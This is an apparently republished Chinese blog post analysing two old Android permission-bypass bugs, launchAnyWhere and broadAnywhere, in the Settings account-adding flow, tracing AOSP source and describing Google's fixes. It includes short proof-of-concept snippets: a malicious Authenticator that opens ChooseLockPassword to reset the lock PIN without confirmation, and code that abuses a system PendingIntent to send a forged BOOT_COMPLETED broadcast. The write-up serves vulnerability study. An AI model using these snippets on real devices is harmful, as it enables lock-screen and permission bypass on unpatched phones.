android修復了添加帳戶代碼中的2處bug,retme取了很酷炫的名字launchAnyWhere、broadAnywhere(參考資料一、2)。本文順着前輩的思路學習bug的原理和利用思路。php
咱們先看下源碼裏setting中添加帳戶的代碼,來理解bug產生的原理。html
/packages/apps/Settings/src/com/android/settings/accounts/AddAccountSettings.java下oncreate:java
public void onCreate(Bundle savedInstanceState) { ......
final Intent intent = new Intent(this, ChooseAccountActivity.class); if (accountTypes != null) { intent.putExtra(AccountPreferenceBase.ACCOUNT_TYPES_FILTER_KEY, accountTypes); } startActivityForResult(intent, CHOOSE_ACCOUNT_REQUEST); }
調用startActivityForResult去啓動"添加帳戶"activity,ChooseAccountActivity選好帳戶後回調onActivityResult函數:android
public void onActivityResult(int requestCode, int resultCode, Intent data) { ...... case CHOOSE_ACCOUNT_REQUEST: ....... // Go to account setup screen. finish() is called inside mCallback. addAccount(data.getStringExtra(EXTRA_SELECTED_ACCOUNT)); break;
ok,來到addAccount函數:app
private void addAccount(String accountType) { ...... mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0); addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent); addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this)); AccountManager.get(this).addAccount( accountType, null, /* authTokenType */ null, /* requiredFeatures */ addAccountOptions, null, mCallback, null /* handler */); mAddAccountCalled = true; }
注意new Intent()這是broadAnywhere bug的成因,下面還會仔細分析。看源碼發現AddAccountSettings.addAccount的仍是由AccountManager.addAccount來實現的。/frameworks/base/core/java/android/accounts/AccountManager.java-addAccount:ide
public AccountManagerFuture<Bundle> addAccount(final String accountType, ......
if (addAccountOptions != null) {
optionsIn.putAll(addAccountOptions);
}函數
return new AmsTask(activity, handler, callback) {學習
public void doWork() throws RemoteException { mService.addAccount(mResponse, accountType, authTokenType, requiredFeatures, activity != null, optionsIn); } }.start();
粗看之下addAccount貌似卡住了,但看AmsTask的start函數源碼你會發現此函數就是去調用doWork函數。故這裏實質是去執行mService.addAccount(迴歸正道了),而mService就是AccountManagerService(這裏不明白不要緊,跟本文主題關係不大;先記住,我會另外一篇解釋下xxxManager、IxxxManager、IxxxManagerService之間的聯繫)。/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java—addAccount;ui
public void addAccount(final IAccountManagerResponse response, final String accountType, final String authTokenType, final String[] requiredFeatures, final boolean expectActivityLaunch, final Bundle optionsIn) { ....... final Bundle options = (optionsIn == null) ? new Bundle() : optionsIn; ...... try { new Session(accounts, response, accountType, expectActivityLaunch, true /* stripAuthTokenFromResult */) { @Override public void run() throws RemoteException { mAuthenticator.addAccount(this, mAccountType, authTokenType, requiredFeatures, options); } ......
由mAuthenticator去啓動addAccount代碼來添加帳戶;那mAuthenticator爲什麼物(這裏偏題下,參考資料6來學習下在android中如何添加本身的帳戶系統;其實直接看retme的launchAnyWhere poc學習更快),這裏用retme poc的代碼來分析就是Authenticator,他繼承自AbstractAccountAuthenticator。Authenticator.addAccount:this
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) { ...... Intent intent = new Intent(); // 重設鎖屏pin intent.setComponent(new ComponentName( "com.android.settings", "com.android.settings.ChooseLockPassword")); intent.setAction(Intent.ACTION_RUN); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.putExtra("confirm_credentials",false); bundle.putParcelable(AccountManager.KEY_INTENT, intent); return bundle; }
Authenticator.addAccount返回Intent,由上面AmsTask中的內部類Response回調函數onResult來處理
private class Response extends IAccountManagerResponse.Stub { public void onResult(Bundle bundle) { Intent intent = bundle.getParcelable(KEY_INTENT); if (intent != null && mActivity != null) { // since the user provided an Activity we will silently start intents // that we see mActivity.startActivity(intent); // leave the Future running to wait for the real response to this request } .......
startActivity去啓動上面Authenticator.addAccount傳入的activity。此activity對於正常app來講就是登錄頁面,因此在此會記錄帳號信息已添加到android帳戶中。總得來講addAccount的流程就是這樣子
帳戶添加流程就分析到這裏,咱們來看下bug是如何產生的。首先簡單的先看launchAnyWhere:上面app中返回一個intent,而在Response裏直接startActivity,這會打開android系統中的任意activity(由於此時在setting進程中執行具備system權限,system能夠打開任意activity無論有無exported)。這就是launchAnyWhere的原理,經過精心構造的app能夠打開任意activity(上面的填出的poc代碼是重設鎖屏pin,即不須要驗證以前的pin就能夠從新設置新的pin)。谷歌的修復也很簡單,檢測startActivity中的activity簽名和構造的app的簽名是否相同(簽名相同表示app有權限打開activity;具體看android4.4的代碼,因此launchAnyWhere的影響是android4.4如下的機器。
broadAnywhere:在分析這個bug以前咱們先理解下PendingIntent(詳情請參考7);在這裏能夠簡單的理解:
簡單來講,就是指PenddingIntent對象能夠按預先指定的動做進行觸發,當這個對象傳遞(經過binder)到其餘進程(不一樣uid的用戶),其餘進程利用這個PenddingInten對象,能夠原進程的身份權限執行指定的觸發動做,這有點相似於Linux上suid或guid的效果。另外,因爲觸發的動做是由系統進程執行的,所以哪怕原進程已經不存在了,PenddingIntent對象上的觸發動做依然有效。
在AddAccountSettings.addAccount時建立PendingIntent,並一直傳遞到app的Authenticator.addAccount中
mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
PendingIntent的定義,咱們能夠在app執行PendingIntent指定的觸發動做:PendingIntent.send(intent,flag)。而PendingIntent.send()實質是由PendingIntentRecord.send()來執行(不理解?繼續看參考資料7)
public int send(int code, Intent intent, String resolvedType, IIntentReceiver finishedReceiver, String requiredPermission) { return sendInner(code, intent, resolvedType, finishedReceiver, requiredPermission, null, null, 0, 0, 0, null); }
繼續往下看
int sendInner(int code, Intent intent, String resolvedType, IIntentReceiver finishedReceiver, String requiredPermission, IBinder resultTo, String resultWho, int requestCode, int flagsMask, int flagsValues, Bundle options) { synchronized(owner) { ...... Intent finalIntent = key.requestIntent != null ? new Intent(key.requestIntent) : new Intent(); if (intent != null) {// 填充intent int changes = finalIntent.fillIn(intent, key.flags); if ((changes&Intent.FILL_IN_DATA) == 0) { resolvedType = key.requestResolvedType; } } ...... case ActivityManager.INTENT_SENDER_BROADCAST: try { // If a completion callback has been requested, require // that the broadcast be delivered synchronously // 發生廣播 owner.broadcastIntentInPackage(key.packageName, uid, finalIntent, resolvedType, finishedReceiver, code, null, null, requiredPermission, (finishedReceiver != null), false, userId); sendFinish = false; } catch (RuntimeException e) { Slog.w(ActivityManagerService.TAG, "Unable to send startActivity intent", e); } break; ......
這裏最後面一步是發送廣播了,那到底是發送什麼廣播呢?看finalIntent.fillIn
public int fillIn(Intent other, int flags) { 6474 int changes = 0; 6475 if (other.mAction != null 6476 && (mAction == null || (flags&FILL_IN_ACTION) != 0)) { 6477 mAction = other.mAction; 6478 changes |= FILL_IN_ACTION; 6479 } 6480 if ((other.mData != null || other.mType != null) 6481 && ((mData == null && mType == null) 6482 || (flags&FILL_IN_DATA) != 0)) { 6483 mData = other.mData; 6484 mType = other.mType; 6485 changes |= FILL_IN_DATA; 6486 } 6487 if (other.mCategories != null 6488 && (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) { 6489 if (other.mCategories != null) { 6490 mCategories = new ArraySet<String>(other.mCategories); 6491 } 6492 changes |= FILL_IN_CATEGORIES; 6493 } 6494 if (other.mPackage != null 6495 && (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) { 6496 // Only do this if mSelector is not set. 6497 if (mSelector == null) { 6498 mPackage = other.mPackage; 6499 changes |= FILL_IN_PACKAGE; 6500 } 6501 } 6502 // Selector is special: it can only be set if explicitly allowed, 6503 // for the same reason as the component name. 6504 if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) { 6505 if (mPackage == null) { 6506 mSelector = new Intent(other.mSelector); 6507 mPackage = null; 6508 changes |= FILL_IN_SELECTOR; 6509 } 6510 } 6511 if (other.mClipData != null 6512 && (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) { 6513 mClipData = other.mClipData; 6514 changes |= FILL_IN_CLIP_DATA; 6515 } 6516 // Component is special: it can -only- be set if explicitly allowed, 6517 // since otherwise the sender could force the intent somewhere the 6518 // originator didn't intend. 6519 if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) { 6520 mComponent = other.mComponent; 6521 changes |= FILL_IN_COMPONENT; 6522 } 6523 mFlags |= other.mFlags; 6524 if (other.mSourceBounds != null 6525 && (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) { 6526 mSourceBounds = new Rect(other.mSourceBounds); 6527 changes |= FILL_IN_SOURCE_BOUNDS; 6528 } 6529 if (mExtras == null) { 6530 if (other.mExtras != null) { 6531 mExtras = new Bundle(other.mExtras); 6532 } 6533 } else if (other.mExtras != null) { 6534 try { 6535 Bundle newb = new Bundle(other.mExtras); 6536 newb.putAll(mExtras); 6537 mExtras = newb; 6538 } catch (RuntimeException e) { 6539 // Modifying the extras can cause us to unparcel the contents 6540 // of the bundle, and if we do this in the system process that 6541 // may fail. We really should handle this (i.e., the Bundle 6542 // impl shouldn't be on top of a plain map), but for now just 6543 // ignore it and keep the original contents. :( 6544 Log.w("Intent", "Failure filling in extras", e); 6545 } 6546 } 6547 return changes; 6548 }
在fillIn函數中,會將intent屬性(Action、Data、Categories,須要注意的是Component很特殊,只要有FILL_IN_COMPONENT即便本來有Component也能夠被覆蓋)所有填充到finalIntent(若是相應的屬性爲空)裏。也就是說最後廣播的intent是PendingIntent.send(intent,flag)中的intent(除沒法指定Component)。那麼咱們就能夠利用這個特性來發送任意的廣播(PendingIntent由setting建立,全部具備system權限能夠無視權限限制)了。具體的poc代碼是在app的Authenticator.addAccount中添加以下代碼
// the exploit of broadcastAnyWhere final String KEY_CALLER_IDENTITY = "pendingIntent"; PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY); Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED"); intent_for_broadcast.putExtra("info", "I am bad boy"); try { pendingintent.send(mContext, 0, intent_for_broadcast); } catch (CanceledException e) { e.printStackTrace(); }
谷歌的修復也很簡單,在setting最初建立PendingIntent指定ComponentName、Action、Categories,這樣PendingIntent.send(intent,flag)中相對應的intent屬性就失效了,也就沒法發送任意的廣播。broadAnywhere的影響是android5.0如下的機子:
Intent identityIntent = new Intent(); identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE)); identityIntent.setAction(SHOULD_NOT_RESOLVE); identityIntent.addCategory(SHOULD_NOT_RESOLVE);
參考資料:
一、launchAnyWhere: Activity組件權限繞過漏洞解析(Google Bug 7699048 )
二、broadAnywhere:Broadcast組件權限繞過漏洞(Bug: 17356824)
三、Android LaunchAnyWhere (Google Bug 7699048)漏洞詳解及防護措施
四、Android BroadcastAnyWhere(Google Bug 17356824)漏洞詳細分析
五、安卓Bug 17356824 BroadcastAnywhere漏洞分析